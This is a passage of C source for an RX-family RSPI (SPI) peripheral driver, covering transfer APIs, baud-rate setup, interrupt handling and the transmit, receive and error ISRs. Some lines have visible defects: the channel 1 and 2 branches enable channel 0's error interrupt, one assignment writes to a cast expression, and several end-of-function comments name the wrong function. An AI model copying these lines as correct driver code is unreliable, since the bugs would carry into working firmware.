.\n* It is the responsibility of the caller to insure that adequate space is available to hold the\n* requested data count.\n* length-\n* Indicates the number of data words to be transferred. The size of the data word is determined from\n* the channel configuration data structure referenced by the channel handle.\n* Return Value : RSPI_SUCCESS-\n* Read operation successfully completed.\n* RSPI_ERR_CH_NOT_OPEN-\n* The channel has not been opened. Perform R_RSPI_Open() first\n* RSPI_ERR_BAD_CHAN-\n* Channel number is invalid for part\n* RSPI_ERR_NULL_PTR-\n* A required pointer argument is NULL\n* RSPI_ERR_LOCK-\n* The lock could not be acquired. The channel is busy.\n***********************************************************************************************************************/\nrspi_err_t R_RSPI_Read(rspi_handle_t handle,\n rspi_command_word_t spcmd_command_word,\n void *pdest,\n uint16_t length)\n{\n rspi_err_t result;\n\n #if RSPI_CFG_PARAM_CHECKING_ENABLE == 1\n if ((NULL == handle) || (NULL == pdest))\n {\n return RSPI_ERR_NULL_PTR;\n }\n #endif\n\n result = rspi_write_read_common(handle, spcmd_command_word, NULL, pdest, length, RSPI_DO_RX);\n\n return result;\n}\n/* end of function R_RSPI_Read(). */\n\n\n/***********************************************************************************************************************\n* Function Name: R_RSPI_Write\n* Description : Transmits data to a SPI device. The operation differs slightly depending on whether it is using\n* SPI mode or Clock-Synchronous mode.\n* Arguments : handle-\n* Handle for the channel\n* spcmd_command_word-\n* bitfield data consisting of all the RSPI command register settings for SPCMD for this operation.\n* This value will be placed directly into the SPCMD register by the function. Caller is required to\n* provide correctly formatted data.\n* psrc-\n* Pointer to a source data buffer from which data will be transmitted to a SPI device.\n* The argument must not be NULL.\n* length-\n* Indicates the number of data words to be transferred. The size of the data word is determined from\n* the channel configuration data structure referenced by the channel handle.\n* Return Value : RSPI_SUCCESS-\n* Write operation successfully completed.\n* RSPI_ERR_CH_NOT_OPEN-\n* The channel has not been opened. Perform R_RSPI_Open() first\n* RSPI_ERR_BAD_CHAN-\n* Channel number is invalid for part\n* RSPI_ERR_NULL_PTR-\n* A required pointer argument is NULL\n***********************************************************************************************************************/\nrspi_err_t R_RSPI_Write(rspi_handle_t handle,\n rspi_command_word_t spcmd_command_word,\n void *psrc,\n uint16_t length)\n{\n rspi_err_t result;\n\n #if RSPI_CFG_PARAM_CHECKING_ENABLE == 1\n if ((NULL == handle) || (NULL == psrc))\n {\n return RSPI_ERR_NULL_PTR;\n }\n #endif\n\n result = rspi_write_read_common(handle, spcmd_command_word, psrc, NULL, length, RSPI_DO_TX);\n\n return result;\n}\n/* end of function R_RSPI_Write(). */\n\n\n/***********************************************************************************************************************\n* Function Name: R_RSPI_WriteRead\n* Description : Simultaneously transmits data to SPI device while receiving data from SPI device\n* (full duplex).\n* The operation differs slightly depending on whether it is using SPI mode or Clock-Synchronous mode.\n* Arguments : handle-\n* Handle for the channel\n* spcmd_command_word-\n* bitfield data consisting of all the RSPI command register settings for SPCMD for this operation.\n* This value will be placed directly into the SPCMD0 register by the function. Caller is required to\n* provide correctly formatted data.\n* psrc-\n* Pointer to a source data buffer from which data will be transmitted to a SPI device.\n* The argument must not be NULL.\n* pdest-\n* Pointer to destination buffer into which data will be copied that has been received from SPI slave.\n* Caller must insure that adequate space is available to hold the requested data count.\n* Argument must not be NULL.\n* length-\n* Indicates the number of data words to be transferred. The size of the data word is determined from\n* the channel configuration data structure referenced by the channel handle.\n* Return Value : RSPI_SUCCESS\n* RSPI_ERR_CH_NOT_OPEN-\n* The channel has not been opened. Perform R_RSPI_Open() first\n* RSPI_ERR_BAD_CHAN-\n* Channel number is invalid for part\n* RSPI_ERR_NULL_PTR-\n* A required pointer argument is NULL\n* RSPI_ERR_LOCK-\n* The lock could not be acquired. The channel is busy.\n***********************************************************************************************************************/\nrspi_err_t R_RSPI_WriteRead(rspi_handle_t handle,\n rspi_command_word_t spcmd_command_word,\n void *psrc,\n void *pdest,\n uint16_t length)\n{\n rspi_err_t result;\n\n #if RSPI_CFG_PARAM_CHECKING_ENABLE == 1\n if ((NULL == handle) || (NULL == psrc) || (NULL == pdest))\n {\n return RSPI_ERR_NULL_PTR;\n }\n #endif\n\n result = rspi_write_read_common(handle, spcmd_command_word, psrc, pdest, length, RSPI_DO_TX_RX);\n\n return result;\n}\n/* end of function R_RSPI_WriteRead(). */\n\n/***********************************************************************************************************************\n* Function Name: rspi_write_read_common\n* Description : Initiates write or read process. Common routine used by RSPI API write or read functions.\n* Arguments : handle-\n* Handle for the channel\n* command_word-\n* bitfield data consisting of all the RSPI command register settings for SPCMD for this operation.\n* This value will be placed directly into the SPCMD0 register by the function. Caller is required to\n* provide correctly formatted data.\n* psrc-\n* For write operations, pointer to the source buffer of the data to be sent.\n* pdest-\n* For read operations, pointer to destination buffer into which receuved data will be copied.\n* length-\n* The number of data words to be transferred.\n* Return Value : RSPI_SUCCESS\n* RSPI_ERR_CH_NOT_OPEN-\n* The channel has not been opened. Perform R_RSPI_Open() first\n* RSPI_ERR_LOCK-\n* The lock could not be acquired. The channel is busy.\n***********************************************************************************************************************/\nstatic rspi_err_t rspi_write_read_common(rspi_handle_t handle,\n rspi_command_word_t command_word,\n void *psrc,\n void *pdest,\n uint16_t length,\n rspi_operation_t tx_rx_mode)\n{\n uint8_t channel = handle->channel;\n\n #if RSPI_CFG_REQUIRE_LOCK == 1\n bool lock_result = false;\n #endif\n\n if (!g_rspi_handles[channel].rspi_chnl_opened)\n {\n return RSPI_ERR_CH_NOT_OPENED;\n }\n\n #if RSPI_CFG_REQUIRE_LOCK == 1\n /* Attempt to acquire lock for this RSPI channel. Prevents reentrancy conflict. */\n lock_result = R_BSP_HardwareLock((mcu_lock_t)(BSP_LOCK_RSPI0 + channel));\n\n if(false == lock_result)\n {\n return RSPI_ERR_LOCK; /* The control function is currently locked. */\n }\n #endif\n\n rspi_interrupts_enable(channel, false); /* Disable interrupts in ICU. */\n\n g_rspi_tcb[channel].xfr_length = length;\n g_rspi_tcb[channel].tx_count = 0;\n g_rspi_tcb[channel].rx_count = 0;\n g_rspi_tcb[channel].bytes_per_transfer = rspi_get_data_type(command_word);\n g_rspi_tcb[channel].psrc = psrc;\n g_rspi_tcb[channel].pdest = pdest;\n g_rspi_tcb[channel].transfer_mode = tx_rx_mode;\n\n if (tx_rx_mode & RSPI_DO_TX)\n {\n g_rspi_tcb[channel].do_tx = true;\n }\n else\n {\n g_rspi_tcb[channel].do_tx = false;\n }\n\n g_rspi_tcb[channel].do_rx_now = false; // Initialize receive state flag.\n\n #if RSPI_CFG_MASK_UNUSED_BITS == (1)\n /* Get the data frame bit mask. */\n g_rspi_tcb[channel].unused_bits_mask = g_unused_bits_masks[command_word.bit_length];\n #endif\n\n /* Wait for channel to be idle before making changes to registers. */\n while ((*g_rspi_channels[channel]).SPSR.BIT.IDLNF)\n {\n }\n\n /* Update the SPCMD0 command register with the settings for this transfer. */\n (*g_rspi_channels[channel]).SPCMD0.WORD = command_word.word;\n\n /* If slave mode, force CPHA bit in command register to 1 to properly support 'burst' operation. */\n if (0 == ((*g_rspi_channels[channel]).SPCR.BIT.MSTR))\n {\n (*g_rspi_channels[channel]).SPCMD0.BIT.CPHA = 1;\n }\n\n /* Clear error sources: the SPSR.MODF, OVRF, and PERF flags. */\n while((*g_rspi_channels[channel]).SPSR.BYTE & (RSPI_SPSR_OVRF | RSPI_SPSR_MODF | RSPI_SPSR_PERF))\n {\n (*g_rspi_channels[channel]).SPSR.BYTE = RSPI_SPSR_MASK;\n }\n\n (*g_rspi_channels[channel]).SPCR2.BIT.SPIIE = 0; /* Disable idle interrrupt. */\n rspi_interrupts_clear(channel);\n rspi_interrupts_enable(channel, true); /* Enable interrupts in ICU. */\n\n /* Enable transmit buffer empty interrupt, Receive buffer full interrupt,\n * and enable RSPI simultaneously. This will generate an SPTI interrupt,\n * and data transfer will proceed in the ISRs. */\n (*g_rspi_channels[channel]).SPCR.BYTE |= (RSPI_SPCR_SPTIE | RSPI_SPCR_SPRIE | RSPI_SPCR_SPEIE | RSPI_SPCR_SPE);\n\n return RSPI_SUCCESS;\n}\n/* end of function R_RSPI_WriteRead(). */\n\n\n/***********************************************************************************************************************\n* Function Name: R_RSPI_Close\n* Description : Removes power to the RSPI channel designated by the handle and disables the associated interrupts.\n* Arguments : handle-\n* Handle for the channel\n* Return Value : RSPI_SUCCESS-\n* Successful; channel closed\n* RSPI_ERR_CH_NOT_OPEN-\n* The channel has not been opened so closing has no effect.\n* RSPI_ERR_BAD_CHAN-\n* Channel number is invalid for part\n* RSPI_ERR_NULL_PTR-\n* A required pointer argument is NULL\n***********************************************************************************************************************/\nrspi_err_t R_RSPI_Close(rspi_handle_t handle)\n{\n uint8_t channel;\n\n #if RSPI_CFG_PARAM_CHECKING_ENABLE == 1\n if (NULL == handle)\n {\n return RSPI_ERR_NULL_PTR;\n }\n #endif\n\n channel = handle->channel;\n\n /* Check to see if the channel is currently initialized. */\n if (false == g_rspi_handles[channel].rspi_chnl_opened)\n {\n /* This channel is not open so need not be closed. */\n return RSPI_ERR_CH_NOT_OPENED;\n }\n\n /* Disable the RSPI operation. */\n /* SPE and SPTIE should be cleared simultaneously. */\n (*g_rspi_channels[channel]).SPCR.BYTE &= (uint8_t)(~(RSPI_SPCR_SPTIE | RSPI_SPCR_SPE));\n\n power_on_off(channel, RSPI_POWER_OFF);\n\n rspi_interrupts_enable(channel, false); /* Disable interrupts. */\n\n g_rspi_handles[channel].rspi_chnl_opened = false;\n\n return RSPI_SUCCESS;\n}\n/* end of function R_RSPI_Close(). */\n\n\n/***********************************************************************************************************************\n* Function Name: rspi_baud_set\n* Description : Determines the RSPI channel SPBR register setting for the requested baud rate.\n* Returns the actual bit rate that the setting will achieve which may differ from requested.\n* If the requested bit rate cannot be exactly achieved, the next lower bit rate setting will be applied.\n* If successful, applies the calculated setting to the SPBR register.\n* Arguments :\n* Return Value :\n* Note: Target baud must be >= PCLK/4 to get anything out.\n* Limitations : Does not track dynamically changing PCLK. Relies on constant BSP_PCLKB_HZ\n***********************************************************************************************************************/\nstatic uint32_t rspi_baud_set(uint8_t channel, uint32_t bps_target)\n{\n uint8_t spbr_result = 0;\n uint32_t bps_calc = 0;\n int32_t f; //Frequency\n int32_t n; //n term in equation\n int32_t N; //N term in equation\n\n /* Starting with RX63x MCUs and later, there are 2 peripheral clocks: PCLKA and PCLKB.\n * PCLKB matches the functionality of PCLK in RX62x devices as far as the RSPI is concerned. */\n #if defined(BSP_MCU_RX62_ALL)\n f = BSP_PCLK_HZ;\n #else\n f = BSP_PCLKB_HZ;\n #endif\n\n /* Get the register settings for requested baud rate. */\n if ((f / bps_target) < 2)\n {\n return 0; /* baud_bps_target too high for the PCLK. */\n }\n /*\n * From Hardware manual: Bit rate = f / (2(n + 1)(2^N))\n * where:\n * f = PCLK, n = SPBR setting, N = BRDV bits\n * Solving for n:\n * n = (((f/(2^N))/2) / bps) - 1\n *\n */\n\n /* Only calculate for BRDV value of 0 (div/1) to get SPBR setting for the board PCLK.\n * BRDV setting will be done during write/read operations. */\n N = 0;\n n = ((f >> (N+1)) / (int32_t)bps_target) - 1; /* Solve for SPBR setting. */\n\n if ((n >= 0) && (n <= 0xff)) /* Must be <= SPBR register max value. Must not be negative*/\n {\n /* Now plug n back into the formula for BPS and check it. */\n bps_calc = (uint32_t)(f / (2 *((n + 1) << N)));\n\n if(bps_calc > bps_target)\n {\n n += 1;\n if (n > 0xff)\n {\n return 0; /* result out of range for the PCLK. */\n }\n }\n spbr_result = n;\n\n (*g_rspi_channels[channel]).SPBR = spbr_result; /* Apply the SPBR register value. */\n g_ctrl_reg_values[channel].spbr_val = spbr_result; /* Update the channel settings record. */\n }\n else\n {\n bps_calc = 0; /* result out of range for the PCLK. */\n }\n\n return bps_calc; /* Return the actual BPS rate achieved. */\n}\n/* end of function rspi_baud_set(). */\n\n/***********************************************************************************************************************\n* Function Name: rspi_get_data_type\n* Description : Identifies whether the data must be type-cast as 8-bit, 16-bit, or 32-bit for purposes of accessing the\n* source or destination buffers with the right type and index.\n* Arguments : frame_length_bits-\n* 16-bit word containing the bits that define the bits per frame in th SPCMD register.\n* Only the bits corresponding to \"SPB[3:0] RSPI Data Length Setting\" of the SPCMDn register are\n* checked in this argument.\n* Return Value : RSPI_BYTE_DATA-\n* Data is 8-bit.\n* RSPI_WORD_DATA-\n* Data is > 8-bit and <= 16-bit.\n* RSPI_LONG_DATA-\n* Data is > 16-bit.\n***********************************************************************************************************************/\nuint8_t rspi_get_data_type(rspi_command_word_t command_word)\n{\n uint8_t data_type;\n uint8_t frame_length_bits;\n\n frame_length_bits = (uint8_t)((command_word.word & RSPI_SPCMD_SPB) >> 8);\n\n switch (frame_length_bits)\n {\n case RSPI_SPCMD_BIT_LENGTH_8: /* (0x07) 0100 to 0111 = 8 bits data length */\n {\n data_type = RSPI_BYTE_DATA;\n }\n break;\n\n case RSPI_SPCMD_BIT_LENGTH_9: /* (0x08) 1000 = 9 bits data length */\n case RSPI_SPCMD_BIT_LENGTH_10: /* (0x09) 1001 = 10 bits data length */\n case RSPI_SPCMD_BIT_LENGTH_11: /* (0x0A) 1010 = 11 bits data length */\n case RSPI_SPCMD_BIT_LENGTH_12: /* (0x0B) 1011 = 12 bits data length */\n case RSPI_SPCMD_BIT_LENGTH_13: /* (0x0C) 1100 = 13 bits data length */\n case RSPI_SPCMD_BIT_LENGTH_14: /* (0x0D) 1101 = 14 bits data length */\n case RSPI_SPCMD_BIT_LENGTH_15: /* (0x0E) 1110 = 15 bits data length */\n case RSPI_SPCMD_BIT_LENGTH_16: /* (0x0F) 1111 = 16 bits data length */\n {\n data_type = RSPI_WORD_DATA;\n }\n break;\n\n case RSPI_SPCMD_BIT_LENGTH_20: /* (0x00) 0000 = 20 bits data length */\n case RSPI_SPCMD_BIT_LENGTH_24: /* (0x01) 0001 = 24 bits data length */\n case RSPI_SPCMD_BIT_LENGTH_32: /* (0x03) 0011 = 32 bits data length */\n case 0x0002: /* Alternate setting for 32 bit. */\n {\n data_type = RSPI_LONG_DATA;\n }\n break;\n\n default:\n {\n data_type = 0;\n }\n }\n return data_type;\n}\n/* End of function rspi_get_data_access(). */\n\n\n/***********************************************************************************************************************\n* Function Name: power_on_off\n* Description : Switches power to an RSPI channel. Required by FIT spec.\n* Arguments : channel -\n* Which channel to use.\n* on_or_off -\n* What it says.\n* Return Value : none\n***********************************************************************************************************************/\nstatic void power_on_off (uint8_t channel, uint8_t on_or_off)\n{\n R_BSP_RegisterProtectDisable(BSP_REG_PROTECT_LPC_CGC_SWR);\n\n switch (channel)\n {\n #if RSPI_CFG_USE_CH0 == 1\n case 0:\n MSTP(RSPI0) = on_or_off;\n break;\n #endif\n\n #if RSPI_CFG_USE_CH1 == 1\n case 1:\n MSTP(RSPI1) = on_or_off;\n break;\n #endif\n\n #if RSPI_CFG_USE_CH2 == 1\n case 2:\n MSTP(RSPI2) = on_or_off;\n break;\n #endif\n\n default:\n break;\n }\n\n R_BSP_RegisterProtectEnable(BSP_REG_PROTECT_LPC_CGC_SWR);\n}\n/* End of function power_on(). */\n\n\n/***********************************************************************************************************************\n* Function Name: rspi_ir_priority_set\n* Description : sets the shared interrupt priority level for a channel.\n* Arguments : channel -\n* Which channel to use.\n* rspi_priority-\n* 0-15 priority value. 15 = highest priority.\n* Return Value : none\n***********************************************************************************************************************/\nstatic void rspi_ir_priority_set(uint8_t channel, uint8_t rspi_priority)\n{\n switch (channel)\n {\n #if RSPI_CFG_USE_CH0 == 1\n case 0:\n /* Set shared IPL for RSPI0 */\n IPR(RSPI0, SPRI0) = rspi_priority;\n break;\n #endif\n\n #if RSPI_CFG_USE_CH1 == 1\n case 1:\n /* Set shared IPL for RSPI1 */\n IPR(RSPI1, SPRI1) = rspi_priority;\n break;\n #endif\n\n #if RSPI_CFG_USE_CH2 == 1\n case 2:\n /* Set shared IPL for RSPI2 */\n IPR(RSPI2, SPRI2) = rspi_priority;\n break;\n #endif\n\n default:\n break;\n }\n}\n/* End of function rspi_ir_priority_set(). */\n\n/***********************************************************************************************************************\n* Function Name: rspi_interrupts_clear\n* Description : Clear RSPI interrupts.\n* Arguments : channel -\n* Which channel to use.\n* Return Value : none\n***********************************************************************************************************************/\nstatic void rspi_interrupts_clear(uint8_t channel)\n{\n switch (channel)\n {\n #if RSPI_CFG_USE_CH0 == 1\n case 0:\n\n /* Clear any pending receive buffer full interrupts */\n IR(RSPI0, SPRI0) = 0 ;\n /* Clear any pending transmit buffer empty interrupts */\n IR(RSPI0, SPTI0) = 0 ;\n #ifndef BSP_MCU_RX63_ALL\n /* Clear any pending error interrupt */\n IR(RSPI0, SPEI0) = 0;\n #endif\n break;\n #endif\n\n #if RSPI_CFG_USE_CH1 == 1\n case 1:\n IR(RSPI1, SPRI1) = 0 ;\n IR(RSPI1, SPTI1) = 0 ;\n #ifndef BSP_MCU_RX63_ALL\n IR(RSPI1, SPEI1) = 0;\n #endif\n break;\n\n #endif\n\n #if RSPI_CFG_USE_CH2 == 1\n case 2:\n IR(RSPI2, SPRI2) = 0 ;\n IR(RSPI2, SPTI2) = 0 ;\n #ifndef BSP_MCU_RX63_ALL\n IR(RSPI2, SPEI2) = 0;\n #endif\n break;\n #endif\n\n default:\n break;\n }\n #ifdef BSP_MCU_RX63_ALL\n #if RSPI_CFG_USE_RX63_ERROR_INTERRUPT == 1\n IR(ICU, GROUP12) = 0;\n #endif\n #endif\n}\n/* End of function rspi_interrupts_enable(). */\n\n/***********************************************************************************************************************\n* Function Name: rspi_interrupts_enable\n* Description : Disable or enable RSPI interrupts.\n* Arguments : channel -\n* Which channel to use.\n* enabled-\n* true = enable, false = disable.\n* Return Value : none\n***********************************************************************************************************************/\nstatic void rspi_interrupts_enable(uint8_t channel, bool enabled)\n{\n switch (channel)\n {\n #if RSPI_CFG_USE_CH0 == 1\n case 0:\n /* Disable or enable receive buffer full interrupt */\n IEN(RSPI0, SPRI0) = enabled;\n /* Disable or enable transmit buffer empty interrupt */\n IEN(RSPI0, SPTI0) = enabled;\n #ifndef BSP_MCU_RX63_ALL\n /* Disable or enable error interrupt */\n IEN(RSPI0, SPEI0) = enabled;\n #endif\n break;\n #endif\n\n #if RSPI_CFG_USE_CH1 == 1\n case 1:\n IEN(RSPI1, SPRI1) = enabled;\n IEN(RSPI1, SPTI1) = enabled;\n #ifndef BSP_MCU_RX63_ALL\n IEN(RSPI0, SPEI0) = enabled;\n #endif\n break;\n #endif\n\n #if RSPI_CFG_USE_CH2 == 1\n case 2:\n IEN(RSPI2, SPRI2) = enabled;\n IEN(RSPI2, SPTI2) = enabled;\n #ifndef BSP_MCU_RX63_ALL\n IEN(RSPI0, SPEI0) = enabled;\n #endif\n break;\n #endif\n\n default:\n break;\n }\n\n #ifdef BSP_MCU_RX63_ALL\n #if RSPI_CFG_USE_RX63_ERROR_INTERRUPT == 1\n IEN(ICU, GROUP12) = enabled;\n #endif\n #endif\n\n}\n/* End of function rspi_interrupts_enable(). */\n\n\n/***********************************************************************************************************************\n* Function Name: R_RSPI_GetVersion\n* Description : Returns the version of this module. The version number is\n* encoded where the top 2 bytes are the major version number and\n* the bottom 2 bytes are the minor version number.\n* For example, Rev 4.25 would be 0x00040019.\n* NOTE: This function is inlined using #pragma inline directive.\n* Arguments : none\n* Return Value : Version Number\n***********************************************************************************************************************/\n#pragma inline(R_RSPI_GetVersion)\nuint32_t R_RSPI_GetVersion(void)\n{\n uint32_t version_number = 0;\n /* Bring in major version number. */\n version_number = ((uint16_t)RSPI_RX_VERSION_MAJOR) << 16;\n /* Bring in minor version number. */\n version_number |= (uint16_t)RSPI_RX_VERSION_MINOR;\n return version_number;\n}\n\n\n/******************************************************************************\n* Function Name: rspi_tx_rx_common\n* Description : common ISR handler for SPTI and SPRI\n* Arguments : RSPI channel\n* Return Value : N/A\n******************************************************************************/\nstatic void rspi_tx_rx_common(uint8_t channel)\n{\n void* psrc = g_rspi_tcb[channel].psrc;\n void* pdest = g_rspi_tcb[channel].pdest;\n uint16_t tx_count = g_rspi_tcb[channel].tx_count;\n uint16_t rx_count = g_rspi_tcb[channel].rx_count;\n uint8_t data_size = g_rspi_tcb[channel].bytes_per_transfer;\n uint32_t rx_data = g_rxdata[channel];\n\n /* Service the hardware first to keep it busy. */\n /* Feed the TX. */\n if(tx_count < g_rspi_tcb[channel].xfr_length) /* Don't write transmit buffer more than length. */\n {\n if (g_rspi_tcb[channel].do_tx)\n {\n /* Transmit the data. TX data register accessed in long words. */\n if (RSPI_BYTE_DATA == data_size)\n {\n (*g_rspi_channels[channel]).SPDR.LONG = ((uint8_t *)psrc)[tx_count];\n }\n else if(RSPI_WORD_DATA == data_size)\n {\n (*g_rspi_channels[channel]).SPDR.LONG = ((uint16_t *)psrc)[tx_count];\n }\n else // Must be long data. if(RSPI_LONG_DATA == data_size)\n {\n (*g_rspi_channels[channel]).SPDR.LONG = ((uint32_t *)psrc)[tx_count];\n }\n }\n else /* Must be RX only mode, so transmit dummy data for clocking.*/\n {\n /* TX data register accessed in long words. */\n (*g_rspi_channels[channel]).SPDR.LONG = RSPI_DUMMY_TXDATA;\n }\n g_rspi_tcb[channel].tx_count++;\n }\n\n /* Store the received data in user buffer.\n * Receive data not valid until after first transmission is complete. */\n if (g_rspi_tcb[channel].do_rx_now)\n {\n if (RSPI_BYTE_DATA == data_size)\n {\n ((uint8_t *)pdest)[rx_count-1] = (uint8_t)rx_data;\n }\n else if(RSPI_WORD_DATA == data_size)\n {\n #if RSPI_CFG_MASK_UNUSED_BITS == (1)\n /* Clear unused upper bits of non-standard bit length data transfers. */\n (uint16_t)rx_data = (uint16_t)(rx_data & g_rspi_tcb[channel].unused_bits_mask); /* cast as uint16_t to handle endian. */\n #endif\n ((uint16_t *)pdest)[rx_count-1] = (uint16_t)rx_data;\n }\n else // Must be long data. if(RSPI_LONG_DATA == data_size)\n {\n #if RSPI_CFG_MASK_UNUSED_BITS == (1)\n /* Clear unused upper bits of non-standard bit length data transfers. */\n rx_data &= g_rspi_tcb[channel].unused_bits_mask;\n #endif\n ((uint32_t *)pdest)[rx_count-1] = rx_data;\n }\n }\n\n /* Check for last data. */\n if(rx_count == g_rspi_tcb[channel].xfr_length)\n { /* Last data was transferred. */\n (*g_rspi_channels[channel]).SPCR.BIT.SPRIE = 0; /* Disable SPRI interrupt. */\n (*g_rspi_channels[channel]).SPCR.BIT.SPE = 0; /* Disable RSPI. */\n\n #if RSPI_CFG_REQUIRE_LOCK == 1\n /* Release lock for this channel. */\n R_BSP_HardwareUnlock((mcu_lock_t)(BSP_LOCK_RSPI0 + channel));\n #endif\n\n /* Tranfer complete. Call the user callback function passing pointer to the result structure. */\n if((FIT_NO_FUNC != g_rspi_handles[channel].pcallback) && (NULL != g_rspi_handles[channel].pcallback))\n {\n g_rspi_cb_data[channel].handle = &(g_rspi_handles[channel]);\n g_rspi_cb_data[channel].event_code = RSPI_EVT_TRANSFER_COMPLETE;\n g_rspi_handles[channel].pcallback((void*)&(g_rspi_cb_data[channel]));\n }\n }\n\n return;\n} /* end rspi_transmit_common() */\n\n\n/******************************************************************************\n* Function Name: rspi_spri0_isr, rspi_spri1_isr, rspi_spri2_isr\n* Description : RSPI SPRI receive buffer full ISR.\n* Each ISR calls a common function but passes its channel number.\n* Arguments : N/A\n* Return Value : N/A\n******************************************************************************/\n#if RSPI_CFG_USE_CH0 == 1\n#pragma interrupt (rspi_spri0_isr(vect = VECT(RSPI0, SPRI0)))\nstatic void rspi_spri0_isr(void)\n{\n g_rxdata[0] = (*g_rspi_channels[0]).SPDR.LONG; // Need to read RX data reg ASAP.\n g_rspi_tcb[0].rx_count++;\n rspi_tx_rx_common(0);\n} /* end rspi_spri0_isr */\n#endif\n\n#if RSPI_CFG_USE_CH1 == 1\n#pragma interrupt (rspi_spri1_isr(vect=VECT(RSPI1, SPRI1)))\nstatic void rspi_spri1_isr(void)\n{\n g_rxdata[1] = (*g_rspi_channels[1]).SPDR.LONG;\n g_rspi_tcb[1].rx_count++;\n rspi_tx_rx_common(1);\n} /* end rspi_spri1_isr */\n#endif\n\n#if RSPI_CFG_USE_CH2 == 1\n #pragma interrupt (rspi_spri2_isr(vect=VECT(RSPI2, SPRI2)))\n static void rspi_spri2_isr(void)\n {\n g_rxdata[2] = (*g_rspi_channels[2]).SPDR.LONG;\n g_rspi_tcb[2].rx_count++;\n rspi_tx_rx_common(2);\n } /* end rspi_spri2_isr */\n#endif\n/* end SPRI */\n\n/******************************************************************************\n* Function Name: rspi_spti0_isr, rspi_spti1_isr, rspi_spti2_isr\n* Description : RSPI SPTI transmit buffer empty ISR.\n* Each ISR calls a common function but passes its channel number.\n* Arguments : N/A\n* Return Value : N/A\n******************************************************************************/\n#if RSPI_CFG_USE_CH0 == 1\n#pragma interrupt (rspi_spti0_isr(vect=VECT(RSPI0, SPTI0)))\nstatic void rspi_spti0_isr(void)\n{\n g_rxdata[0] = RSPI0.SPDR.LONG; // Read rx-data register into temp buffer.\n\n /* If master mode then disable further spti interrupts on first transmit.\n If slave mode then we do two transmits to fill the double buffer,\n then disable spti interrupts.\n The receive interrupt will handle any remaining data. */\n if ((RSPI0.SPCR.BIT.MSTR) || (g_rspi_tcb[0].tx_count > 0))\n {\n RSPI0.SPCR.BIT.SPTIE = 0; /* Disable SPTI interrupt. */\n }\n\n rspi_tx_rx_common(0); // Process the data in the common handler.\n\n if (g_rspi_tcb[0].transfer_mode & RSPI_DO_RX)\n { /* Count was incremented in the call to rspi_tx_rx_common. */\n if ((RSPI0.SPCR.BIT.MSTR) || (g_rspi_tcb[0].tx_count > 1))\n {\n g_rspi_tcb[0].do_rx_now = true; /* Enables saving of receive data on next receive interrupt. */\n }\n }\n} /* end rspi_spti0_isr */\n#endif\n\n#if RSPI_CFG_USE_CH1 == 1\n#pragma interrupt (rspi_spti1_isr(vect=VECT(RSPI1, SPTI1)))\nstatic void rspi_spti1_isr(void)\n{\n g_rxdata[1] = RSPI1.SPDR.LONG; // Read rx-data register into temp buffer.\n\n if ((RSPI1.SPCR.BIT.MSTR) || (g_rspi_tcb[1].tx_count > 0))\n {\n RSPI1.SPCR.BIT.SPTIE = 0; /* Disable SPTI interrupt. */\n }\n\n rspi_tx_rx_common(1); // Process the data in the common handler.\n\n if (g_rspi_tcb[1].transfer_mode & RSPI_DO_RX)\n { /* Count was incremented in the call to rspi_tx_rx_common. */\n if ((RSPI1.SPCR.BIT.MSTR) || (g_rspi_tcb[1].tx_count > 1))\n {\n g_rspi_tcb[1].do_rx_now = true; /* Enables saving of receive data on next receive interrupt. */\n }\n }\n} /* end rspi_spti1_isr */\n#endif\n\n#if RSPI_CFG_USE_CH2 == 1\n#pragma interrupt (rspi_spti2_isr(vect=VECT(RSPI2, SPTI2)))\nstatic void rspi_spti2_isr(void)\n{\n g_rxdata[2] = RSPI2.SPDR.LONG; // Read rx-data register into temp buffer.\n\n if ((RSPI2.SPCR.BIT.MSTR) || (g_rspi_tcb[2].tx_count > 0))\n {\n RSPI2.SPCR.BIT.SPTIE = 0; /* Disable SPTI interrupt. */\n }\n\n rspi_tx_rx_common(2); // Process the data in the common handler.\n\n if (g_rspi_tcb[2].transfer_mode & RSPI_DO_RX)\n { /* Count was incremented in the call to rspi_tx_rx_common. */\n if ((RSPI2.SPCR.BIT.MSTR) || (g_rspi_tcb[2].tx_count > 1))\n {\n g_rspi_tcb[2].do_rx_now = true; /* Enables saving of receive data on next receive interrupt. */\n }\n }\n} /* end rspi_spti2_isr */\n#endif\n/* end SPTI */\n\n/******************************************************************************\n* Function Name: rspi_spei_isr_common\n* Description : common ISR handler for SPEI RSPI-error\n* Arguments : RSPI channel\n* Return Value : N/A\n******************************************************************************/\nstatic void rspi_spei_isr_common(uint8_t channel)\n{\n uint8_t status_flags = (*g_rspi_channels[channel]).SPSR.BYTE;\n\n /* Identify and clear error condition. */\n if(status_flags & RSPI_SPSR_OVRF) // Overrun error.\n {\n g_rspi_cb_data[channel].event_code = RSPI_EVT_ERR_READ_OVF;\n /* Clear error source: OVRF flag. */\n (*g_rspi_channels[channel]).SPSR.BIT.OVRF = 0;\n }\n else if (status_flags & RSPI_SPSR_MODF)\n {\n g_rspi_cb_data[channel].event_code = RSPI_EVT_ERR_MODE_FAULT;\n /* Clear error source: MODF flag. */\n (*g_rspi_channels[channel]).SPSR.BIT.MODF = 0;\n }\n else if (status_flags & RSPI_SPSR_PERF)\n {\n g_rspi_cb_data[channel].event_code = RSPI_EVT_ERR_PARITY;\n /* Clear error source: PERF flag. */\n (*g_rspi_channels[channel]).SPSR.BIT.PERF = 0;\n }\n else\n {\n g_rspi_cb_data[channel].event_code = RSPI_EVT_ERR_UNDEF;\n }\n\n /* Disable the RSPI channel (terminates the transfer operation). */\n (*g_rspi_channels[channel]).SPCR.BIT.SPRIE = 0; /* Disable SPRI interrupt. */\n (*g_rspi_channels[channel]).SPCR.BIT.SPE = 0; /* Disable RSPI. */\n\n #if RSPI_CFG_REQUIRE_LOCK == 1\n /* Release lock for this channel. */\n R_BSP_HardwareUnlock((mcu_lock_t)(BSP_LOCK_RSPI0 + channel));\n #endif\n\n /* Call the user callback function passing pointer to the result structure. */\n if((FIT_NO_FUNC != g_rspi_handles[channel].pcallback) && (NULL != g_rspi_handles[channel].pcallback))\n {\n g_rspi_cb_data[channel].handle = &(g_rspi_handles[channel]);\n g_rspi_handles[channel].pcallback((void*)&(g_rspi_cb_data[channel]));\n }\n} /* end rspi_spei_isr_common() */\n\n\n/******************************************************************************\n* Function Name: rspi_spei0_isr, rspi_spei1_isr, rspi_spei2_isr\n* Description : RSPI SPEI RSPI-error ISR.\n* Each ISR calls a common function but passes its channel number.\n* Arguments : N/A\n* Return Value : N/A\n******************************************************************************/\n#ifndef BSP_MCU_RX63_ALL // This interrupt for RX63 series not supported by this code.\n\t#if 